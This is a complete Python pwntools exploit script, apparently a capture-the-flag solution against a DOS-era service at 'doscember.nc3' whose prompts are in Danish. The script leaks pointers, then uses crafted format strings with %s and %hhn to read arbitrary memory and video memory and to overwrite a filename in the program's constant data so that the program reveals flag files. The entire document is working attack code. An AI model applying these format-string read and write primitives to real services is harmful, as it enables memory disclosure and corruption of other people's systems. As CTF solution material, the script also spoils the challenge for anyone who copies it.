#!/usr/bin/env python3

from pwn import *

video_addr = 0xb8000000
flag2_offset = 8 * 80 * 2 + 40
quotes_file = b'C:\\quotes.txt'

def sane_address(p):
    segment = (p >> 16) & 0xffff
    offset = p & 0xffff
    avoid = [0x00, 0x0a, 0x25]
    avoid_first = b'12345'

    while (segment >> 0) & 0xff in avoid or (segment >> 8) & 0xff in avoid or (offset >> 0) & 0xff in avoid or (offset >> 8) & 0xff in avoid or (offset >> 0) & 0xff in avoid_first:
        segment = (segment - 1) & 0xffff
        offset = (offset + 16) & 0xffff

    return (segment << 16) | offset

def get_pointers(tgt):
    tgt.recvuntil(b'Dit valg:')
    tgt.send(b'1337\n')
    tgt.recvuntil(b'Men lad mig pege dig den rigtige vej: ')
    pointers = tgt.recvuntil(b'\n')[:-1]

    return [(int(x[:4], 16) << 16) | int(x[-4:], 16) for x in pointers.split(b' ')]

def diff_pointers(lower, higher):
    return (((higher >> 12) % 0xffff0) + (higher & 0xffff)) - (((lower >> 12) % 0xffff0) + (lower & 0xffff))

def read_mem(tgt, addr):
    addr = p32(sane_address(addr))
    tgt.recvuntil(b'Dit valg:')
    tgt.send(addr + b'%s\n')
    tgt.recvuntil(addr)
    return tgt.recvuntil(b'\n')[:-1]

def read_all(tgt, addr, count):
    data = b''
    while len(data) < count:
        blk = read_mem(tgt, addr + len(data))
        if len(blk) < 507:  # If we read less than the maximum possible,
            blk += b'\0'    # it's because we encountered a null byte.
        data += blk
    return data[:count]

def write_mem(tgt, addr, what):
    addr = p32(sane_address(addr))

    if what < 9:
        what += 256

    tgt.recvuntil(b'Dit valg:')
    tgt.send(b'\x01\x01' + addr + f'%{what - 6}x%hhn\n'.encode())

def write_all(tgt, addr, what):
    for i, c in enumerate(what):
        write_mem(tgt, addr + i, c)

def flag_1(tgt):
    print('Flag 1 er:', read_mem(tgt, flag1_addr).decode('utf-8'))

def flag_2a(tgt):
    print('Flag 2a er:', read_mem(tgt, video_addr + flag2_offset)[0:70:2].decode('utf-8'))

def flag_2b(tgt):
    const_base = fmt_addr & 0xffff0000
    data_base = flag1_addr & 0xffff0000
    const_len = diff_pointers(const_base, data_base)

    flag2b_file = read_mem(tgt, flag2b_file_addr)
    quotes_offset = read_all(tgt, const_base, const_len).index(quotes_file)
    quotes_addr = const_base + quotes_offset
    write_all(tgt, quotes_addr, flag2b_file + b'\0')

    tgt.recvuntil(b'Dit valg:')
    tgt.send(b'4\n')
    tgt.recvuntil(b'Dit valg:')
    tgt.send(b'1\n')
    tgt.recvuntil(b'\n\n   1) ')
    print('Flag 2b er:', tgt.recvuntil(b'\n')[:-1].decode('utf-8'))

with remote('doscember.nc3', 1337) as tgt:
    print_flag_addr, fmt_addr, flag1_addr, flag2b_file_addr = get_pointers(tgt)
    flag_1(tgt)
    flag_2a(tgt)
    flag_2b(tgt)
    tgt.recvuntil(b'Dit valg:')
    tgt.send(b'5\n')